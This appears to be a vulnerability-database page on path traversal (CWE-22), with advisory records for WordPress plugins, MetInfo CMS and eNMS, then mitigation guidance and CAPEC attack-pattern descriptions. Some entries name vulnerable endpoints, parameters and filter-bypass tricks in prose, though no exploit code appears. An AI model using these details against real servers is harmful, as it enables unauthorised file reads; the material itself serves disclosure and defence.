"url": "https://github.com/actix/actix-web/security/advisories/GHSA-8v2v-wjwg-vx6r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72814"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/actix-web-before-information-disclosure-via-files"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-F89G-X83G-732V
Vulnerability from github – Published: 2026-10-25 06:30 – Updated: 2026-10-26 12:32The GiveWP WordPress plugin before 4.19.0.1 does not properly validate a user-supplied filename before reading it from disk, allowing users with a high-privilege custom role to perform path traversal, disclose the contents of JSON-parseable files anywhere on the server, and overwrite the GiveWP WordPress plugin before 4.19.0.1's stored configuration.
{
"affected": [],
"aliases": [
"CVE-2026-111978"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-25T06:16:31Z",
"severity": "MODERATE"
},
"details": "The GiveWP WordPress plugin before 4.19.0.1 does not properly validate a user-supplied filename before reading it from disk, allowing users with a high-privilege custom role to perform path traversal, disclose the contents of JSON-parseable files anywhere on the server, and overwrite the GiveWP WordPress plugin before 4.19.0.1\u0027s stored configuration.",
"id": "GHSA-f89g-x83g-732v",
"modified": "2026-10-26T12:32:29Z",
"published": "2026-10-25T06:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-111978"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/ab77a13e-491e-47a9-a50d-839a8ad341aa"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-F89H-C9Q7-HW4H
Vulnerability from github – Published: 2026-10-22 12:31 – Updated: 2026-10-22 12:31MetInfo CMS 6.0.0 before 6.1.1 contains a path traversal vulnerability in /include/thumb.php that allows unauthenticated attackers to read arbitrary files via the dir parameter. Attackers can send crafted requests with backslash sequences bypassing the str_replace filter to read files like config_db.php on Windows. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-14.
{
"affected": [],
"aliases": [
"CVE-2018-25439"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-22T11:17:03Z",
"severity": "HIGH"
},
"details": "MetInfo CMS 6.0.0 before 6.1.1 contains a path traversal vulnerability in /include/thumb.php that allows unauthenticated attackers to read arbitrary files via the dir parameter. Attackers can send crafted requests with backslash sequences bypassing the str_replace filter to read files like config_db.php on Windows. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-14.",
"id": "GHSA-f89h-c9q7-hw4h",
"modified": "2026-10-22T12:31:14Z",
"published": "2026-10-22T12:31:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-25439"
},
{
"type": "WEB",
"url": "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/metinfo-lfi.yaml"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20190916061234/https://paper.seebug.org/676"
},
{
"type": "WEB",
"url": "https://www.metinfo.cn"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/metinfo-cms-6.1.1-unauthenticated-path-traversal-via-thumb-php-dir-parameter"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-F8C9-F59W-G5CX
Vulnerability from github – Published: 2026-02-20 18:31 – Updated: 2026-02-25 18:31Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Murtaza Bhurgri Woo File Dropzone woo-file-dropzone allows Path Traversal.This issue affects Woo File Dropzone: from n/a through <= 1.1.7.
{
"affected": [],
"aliases": [
"CVE-2025-68862"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-20T16:22:14Z",
"severity": "HIGH"
},
"details": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability in Murtaza Bhurgri Woo File Dropzone woo-file-dropzone allows Path Traversal.This issue affects Woo File Dropzone: from n/a through \u003c= 1.1.7.",
"id": "GHSA-f8c9-f59w-g5cx",
"modified": "2026-02-25T18:31:28Z",
"published": "2026-02-20T18:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68862"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/woo-file-dropzone/vulnerability/wordpress-woo-file-dropzone-plugin-1-1-7-arbitrary-file-deletion-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-F8CF-9769-43R2
Vulnerability from github – Published: 2024-09-20 21:31 – Updated: 2024-09-23 15:31eNMS up to 4.7.1 is vulnerable to Directory Traversal via /download/file.
{
"affected": [],
"aliases": [
"CVE-2024-46646"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-20T21:15:12Z",
"severity": "MODERATE"
},
"details": "eNMS up to 4.7.1 is vulnerable to Directory Traversal via /download/file.",
"id": "GHSA-f8cf-9769-43r2",
"modified": "2024-09-23T15:31:00Z",
"published": "2024-09-20T21:31:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-46646"
},
{
"type": "WEB",
"url": "https://github.com/skit-cyber-security/eNMS_vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.